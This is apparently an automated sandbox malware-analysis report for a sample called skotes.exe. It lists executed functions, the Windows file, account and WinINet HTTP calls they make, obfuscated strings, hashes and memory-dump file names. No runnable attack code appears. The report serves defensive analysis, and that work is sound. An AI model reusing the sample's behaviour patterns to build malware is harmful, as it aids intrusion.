Opcode Fuzzy Hash: 8006c1cbe04065090410a99767146c77c67963709850ba2cc05367a8a9fd8417
Instruction Fuzzy Hash: 74315A32A00201EFEB61AF79D845B9B73EBEF04352F10442DF049D7696DE70AC808B59

Analysis Process: skotes.exePID: 1088, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.4%
Total number of Nodes:	1128
Total number of Limit Nodes:	118

Executed Functions

Function 0061E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTs=, xrefs: 006205CA
9c9aa5, xrefs: 0061FB8E
UA==, xrefs: 0061EB0F, 0061ED56
L1g, xrefs: 0061F7E5
MGE+, xrefs: 0061E821
111, xrefs: 0061F7A0
#, xrefs: 00620624
MQ==, xrefs: 0061E592
WDw=, xrefs: 0061F71D, 0061F9FA
GnNoc2Hc, xrefs: 0061E56C
WTw=, xrefs: 0062097D
246122658369, xrefs: 0061F737, 0061FA14, 006205E7, 0062099A

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1g$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2801840564
Opcode ID: e7118f93191bf03ab6225e14171246e745ac3b0e42ef8fac215c60512335fc54
Instruction ID: 9722082d08f01c99a5b9ac1f3a293e2968caf1aa8f36545aee7c2ded2f72136e
Opcode Fuzzy Hash: e7118f93191bf03ab6225e14171246e745ac3b0e42ef8fac215c60512335fc54
Instruction Fuzzy Hash: F582C270904298DBEF14EF68C949BDE7FB7AB46304F548588E805273C2D7759A88CBD2

Function 00652517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00666758), ref: 0065275C

Strings

Eastern Standard Time, xrefs: 006527CB
Eastern Summer Time, xrefs: 006527FA
Xgf, xrefs: 00652705, 0065270B

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgf
API String ID: 565725191-1895067171
Opcode ID: 42749e733722a34371e3c915c2065470bf23ceab17b5f4f298f9bb1ed5d3f07e
Instruction ID: 635e08537ac3f31de713c5db76817b95010f375c74ca142777ced542c57db768
Opcode Fuzzy Hash: 42749e733722a34371e3c915c2065470bf23ceab17b5f4f298f9bb1ed5d3f07e
Instruction Fuzzy Hash: A7C12671900206AFDB249F68CC61AEE7BABEF57311F24005DED9597392E7308E49C754

Function 006165E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00616680

Strings

GSTmfV==, xrefs: 00616728
RySfdMLx, xrefs: 0061669C
ISNmfV==, xrefs: 006167D1

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: d136207430fcf07575afdf9bd19db1bbca1ec7e2b903d4f2356b1205364c814e
Instruction ID: c26cff28e34ee6c1e2bb85ea2f8e73c3035a983611b5368412a5322a90523f59
Opcode Fuzzy Hash: d136207430fcf07575afdf9bd19db1bbca1ec7e2b903d4f2356b1205364c814e
Instruction Fuzzy Hash: EE91B2B19001289BDB28DF28CC85BEDB77AEB45304F4445EDF51997282DA359BC4CFA8

Function 0061EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0061EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0061EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0061ED98

Strings

WTs=, xrefs: 006205CA
invalid stoi argument, xrefs: 006208B0
UA==, xrefs: 0061EC41, 0061ED56, 0061EF89, 0061F2CE
L1g, xrefs: 0061F7E5
111, xrefs: 0061F7A0
#, xrefs: 00620624
WDw=, xrefs: 0061F71D, 0061F9FA, 0061FDE3
246122658369, xrefs: 0061F737, 0061FA14, 0061FE00, 006205E7
9c9aa5, xrefs: 0061FB8E
mxo1L0x, xrefs: 0061EE84
GiQaT29tduF=, xrefs: 0061FEB6
stoi argument out of range, xrefs: 006208C4
FisgLnsCZO1i, xrefs: 0061FF19
FCQgKF==, xrefs: 0061FEE4

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1g$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2018063011
Opcode ID: 4b4466ccfd8f8aa042ef8a3e5f01b7ea6bfa54869f9bab6182aa024fae2dfe76
Instruction ID: c33bb4a363be0484e58b0be695473b00cfad9152632d3e61144d3f686a0064fa
Opcode Fuzzy Hash: 4b4466ccfd8f8aa042ef8a3e5f01b7ea6bfa54869f9bab6182aa024fae2dfe76
Instruction Fuzzy Hash: BFF22771A001549BEF18DB28DD89BDDBB739F81304F18829CE449A73D6DB398AC48F95

Function 0061BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,2054CAE1,?,00000000), ref: 0061BEB8
InternetOpenW.WININET(00668DC8,00000000,00000000,00000000,00000000), ref: 0061BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0061BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0061BF36
HttpSendRequestA.WININET(?,00000000), ref: 0061BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0061C0A8
InternetCloseHandle.WININET(?), ref: 0061C187
InternetCloseHandle.WININET(?), ref: 0061C18F
InternetCloseHandle.WININET(?), ref: 0061C197

Strings

invalid stoi argument, xrefs: 0061E4F4
stoi argument out of range, xrefs: 0061E4EA
8HJUeIfzLo==, xrefs: 0061C3CB, 0061C623
RE1NXF==, xrefs: 0061BF0E
8HJUeMD Lq5=, xrefs: 0061C465

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
